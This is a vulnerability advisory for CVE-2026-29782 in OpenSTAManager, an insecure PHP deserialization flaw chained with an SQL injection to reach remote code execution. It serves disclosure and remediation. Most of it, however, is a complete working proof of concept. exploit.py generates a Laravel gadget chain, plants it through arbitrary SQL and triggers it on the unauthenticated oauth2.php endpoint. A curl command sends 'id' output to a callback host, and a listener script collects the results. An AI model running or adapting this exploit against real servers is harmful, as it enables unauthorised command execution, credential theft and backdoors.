PT-2026-29658 · Packagist · Devcode-It/Openstamanager
Entry point —
Deserialization —
Exploit —
Listener —
Option A: Restrict
Option C: Authenticate
Published
2026-04-01
·
Updated
2026-04-01
·
CVE-2026-29782
CVSS v3.1
7.2
High
| AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
Description
The
oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip permissions = true). It loads a record from the zz oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access token field without any class restriction.An attacker who can write to the
zz oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.Affected code
Entry point — oauth2.php
$skip permissions = true; // Line 23: NO AUTHENTICATION
include once DIR .'/core.php';
$state = $ GET['state']; // Line 28: attacker-controlled
$code = $ GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chain
Deserialization — src/Models/OAuth2.php
// Line 193 (checkTokens):
$access token = $this->access token ? unserialize($this->access token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access token'] ? unserialize($this->attributes['access token']) : null;
unserialize() is called without the allowed classes parameter, allowing instantiation of any class loaded by the Composer autoloader.Execution flow
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast. destruct() ← fires during shutdown
→ system($command) ← RCE
The HTTP response is 500 (due to the
hasExpired() error), but the command has already executed via destruct() during error cleanup.Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
- Payload injection (requires admin account): Via
op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object intozz oauth2.access token - RCE trigger (unauthenticated): A GET request to
oauth2.php?state=<known value>&code=xtriggers the deserialization and executes the command
Persistence note: The
risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.Gadget chain
The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
PendingBroadcast. destruct()
→ $this->events->dispatch($this->event)
→ chain of call() / invoke()
→ system($command)
Proof of Concept
Execution
Terminal 1 — Attacker listener:
python3 listener.py --port 9999
Terminal 2 — Exploit:
python3 exploit.py
--target http://localhost:8888
--callback http://host.docker.internal:9999
--user admin --password <password>
Observed result
Listener receives:
The
id command was executed on the server as www-data, confirming RCE.HTTP requests from the exploit
Step 4 — Injection (authenticated):
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id module=6&queries=["DELETE FROM zz oauth2 WHERE state='poc-xxx'","INSERT INTO zz oauth2 (id,name,class,client id,client secret,config,state,access token,after configuration,is login,enabled) VALUES (99999,'poc','ModulesEmailsOAuth2Google','x','x','{}','poc-xxx',0x<payload hex>,'',0,1)","CREATE TABLE IF NOT EXISTS t(i INT)","DROP TABLE IF EXISTS t"]
Step 5 — Trigger (NO authentication):
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
(No cookies — completely anonymous request)
Response: HTTP 500 (expected — the error occurs after
destruct() has already executed the command)Exploit — exploit.py
#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)
Usage:
python3 listener.py --port 9999
python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""
import argparse
import json
import random
import re
import string
import subprocess
import sys
import time
try:
import requests
except ImportError:
print("[!] pip install requests")
sys.exit(1)
RED = "033[91m"
GREEN = "033[92m"
YELLOW = "033[93m"
BLUE = "033[94m"
BOLD = "033[1m"
DIM = "033[2m"
RESET = "033[0m"
BANNER = f"""
{RED}{'=' * 58}{RESET}
{RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
{RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
{RED}{'=' * 58}{RESET}
"""
def log(msg, status="*"):
icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
print(f" [{icons.get(status, '*')}] {msg}")
def step header(num, title):
print(f"
{BOLD}── Step {num}: {title} ──{RESET}
")
def generate payload(container, command):
step header(1, "Generate Gadget Chain Payload")
log("Checking phpggc in container...")
result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture output=True)
if result.returncode != 0:
log("Installing phpggc...", "!")
proc = subprocess.run(
["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
capture output=True, text=True,
)
if proc.returncode != 0:
log(f"Failed to install phpggc: {proc.stderr}", "-")
sys.exit(1)
log(f"Command: {DIM}{command}{RESET}")
result = subprocess.run(
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
capture output=True,
)
if result.returncode != 0:
log(f"phpggc failed: {result.stderr.decode()}", "-")
sys.exit(1)
payload bytes = result.stdout
log(f"Payload: {BOLD}{len(payload bytes)} bytes{RESET}", "+")
return payload bytes
def authenticate(target, username, password):
step header(2, "Authenticate")
session = requests.Session()
log(f"Logging in as '{username}'...")
resp = session.post(
f"{target}/index.php",
data={"op": "login", "username": username, "password": password},
allow redirects=False, timeout=10,
)
location = resp.headers.get("Location", "")
if resp.status code != 302 or "index.php" in location:
log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
sys.exit(1)
session.get(f"{target}{location}", timeout=10)
log("Authenticated", "+")
return session
def find module id(session, target, container):
step header(3, "Find 'Aggiornamenti' Module ID")
log("Searching navigation sidebar...")
resp = session.get(f"{target}/controller.php", timeout=10)
for match in re.finditer(r'id module=(d+)', resp.text):
snippet = resp.text[match.start():match.start() + 300]
if re.search(r'[Aa]ggiornamenti', snippet):
module id = int(match.group(1))
log(f"Module ID: {BOLD}{module id}{RESET}", "+")
return module id
log("Not found in sidebar, querying database...", "!")
result = subprocess.run(
["docker", "exec", container, "php", "-r",
"require '/var/www/html/config.inc.php'; "
"$pdo = new PDO('mysql:host='.$db host.';dbname='.$db name, $db username, $db password); "
"echo $pdo->query("SELECT id FROM zz modules WHERE name='Aggiornamenti'")->fetchColumn();"],
capture output=True, text=True,
)
if result.stdout.strip().isdigit():
module id = int(result.stdout.strip())
log(f"Module ID: {BOLD}{module id}{RESET}", "+")
return module id
log("Could not find module ID", "-")
sys.exit(1)
def inject payload(session, target, module id, payload bytes, state value):
step header(4, "Inject Payload via Arbitrary SQL")
hex payload = payload bytes.hex()
record id = random.randint(90000, 99999)
queries = [
f"DELETE FROM zz oauth2 WHERE id={record id} OR state='{state value}'",
f"INSERT INTO zz oauth2 "
f"(id, name, class, client id, client secret, config, "
f"state, access token, after configuration, is login, enabled) VALUES "
f"({record id}, 'poc', 'ModulesEmailsOAuth2Google', "
f"'x', 'x', '{{}}', '{state value}', 0x{hex payload}, '', 0, 1)",
"CREATE TABLE IF NOT EXISTS poc ddl commit (i INT)",
"DROP TABLE IF EXISTS poc ddl commit",
]
log(f"State trigger: {BOLD}{state value}{RESET}")
log(f"Payload: {len(hex payload)//2} bytes ({len(hex payload)} hex)")
log("Sending to actions.php...")
resp = session.post(
f"{target}/actions.php",
data={"op": "risolvi-conflitti-database", "id module": str(module id), "id record": "", "queries": json.dumps(queries)},
timeout=15,
)
try:
result = json.loads(resp.text)
if result.get("success"):
log("Payload planted in zz oauth2.access token", "+")
return True
else:
log(f"Injection failed: {result.get('message', '?')}", "-")
return False
except json.JSONDecodeError:
log(f"Unexpected response (HTTP {resp.status code}): {resp.text[:200]}", "-")
return False
def trigger rce(target, state value):
step header(5, "Trigger RCE (NO AUTHENTICATION)")
url = f"{target}/oauth2.php"
log(f"GET {url}?state={state value}&code=x")
log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")
try:
resp = requests.get(url, params={"state": state value, "code": "x"}, allow redirects=False, timeout=15)
log(f"HTTP {resp.status code}", "+")
if resp.status code == 500:
log(f"{DIM}500 expected: destruct() fires the gadget chain before error handling{RESET}")
except requests.exceptions.Timeout:
log("Timed out (command may still have executed)", "!")
except requests.exceptions.ConnectionError as e:
log(f"Connection error: {e}", "-")
def main():
parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC")
parser.add argument("--target", required=True, help="Target URL")
parser.add argument("--callback", required=True, help="Attacker listener URL reachable from the container")
parser.add argument("--user", default="admin", help="Username (default: admin)")
parser.add argument("--password", required=True, help="Password")
parser.add argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
parser.add argument("--command", help="Custom command (default: curl callback with id output)")
args = parser.parse args()
print(BANNER)
target = args.target.rstrip("/")
callback = args.callback.rstrip("/")
state value = "poc-" + "".join(random.choices(string.ascii lowercase + string.digits, k=12))
command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"
payload = generate payload(args.container, command)
session = authenticate(target, args.user, args.password)
module id = find module id(session, target, args.container)
if not inject payload(session, target, module id, payload, state value):
log("Exploit failed at injection step", "-")
sys.exit(1)
time.sleep(1)
trigger rce(target, state value)
print(f"
{BOLD}── Result ──{RESET}
")
log("Exploit complete. Check your listener for the callback.", "+")
log("Expected: GET /rce-<base64(id)>")
log(f"If no callback, verify the container can reach: {callback}", "!")
if name == " main ":
main()
Listener — listener.py
#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 — RCE Callback Listener"""
import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
RED = "033[91m"
GREEN = "033[92m"
YELLOW = "033[93m"
BLUE = "033[94m"
BOLD = "033[1m"
RESET = "033[0m"
class CallbackHandler(BaseHTTPRequestHandler):
def do GET(self):
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"
{RED}{'=' * 58}{RESET}")
print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}")
print(f" {RED}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Time : {ts}")
print(f" {GREEN}[+]{RESET} From : {self.client address[0]}:{self.client address[1]}")
print(f" {GREEN}[+]{RESET} Path : {self.path}")
for part in self.path.lstrip("/").split("/"):
if part.startswith("rce-"):
try:
decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
except Exception:
print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}")
print(f" {RED}{'=' * 58}{RESET}
")
self.send response(200)
self.send header("Content-Type", "text/plain")
self.end headers()
self.wfile.write(b"OK")
def do POST(self):
self.do GET()
def log message(self, format, *args):
pass
def main():
parser = argparse.ArgumentParser(description="RCE callback listener")
parser.add argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
args = parser.parse args()
server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
print(f"
{BLUE}{'=' * 58}{RESET}")
print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}")
print(f" {BLUE}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
print(f" {YELLOW}[!]{RESET} Waiting for callback...
")
try:
server.serve forever()
except KeyboardInterrupt:
print(f"
{YELLOW}[!]{RESET} Stopped.")
sys.exit(0)
if name == " main ":
main()
Impact
- Confidentiality: Read server files, database credentials, API keys
- Integrity: Write files, install backdoors, modify application code
- Availability: Delete files, denial of service
- Scope: Command execution as
www-dataallows pivoting to other systems on the network
Proposed remediation
Option A: Restrict unserialize() (recommended)
// src/Models/OAuth2.php — checkTokens() and getAccessToken()
$access token = $this->access token
? unserialize($this->access token, ['allowed classes' => [AccessToken::class]])
: null;
Option B: Use safe serialization
Replace
serialize()/unserialize() with json encode()/json decode() for storing OAuth2 tokens.Option C: Authenticate oauth2.php
Remove
$skip permissions = true and require authentication for the OAuth2 callback endpoint, or validate the state parameter against a value stored in the user's session.Credits
Omar Ramirez
Fix
Deserialization of Untrusted Data
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Devcode-It/Openstamanager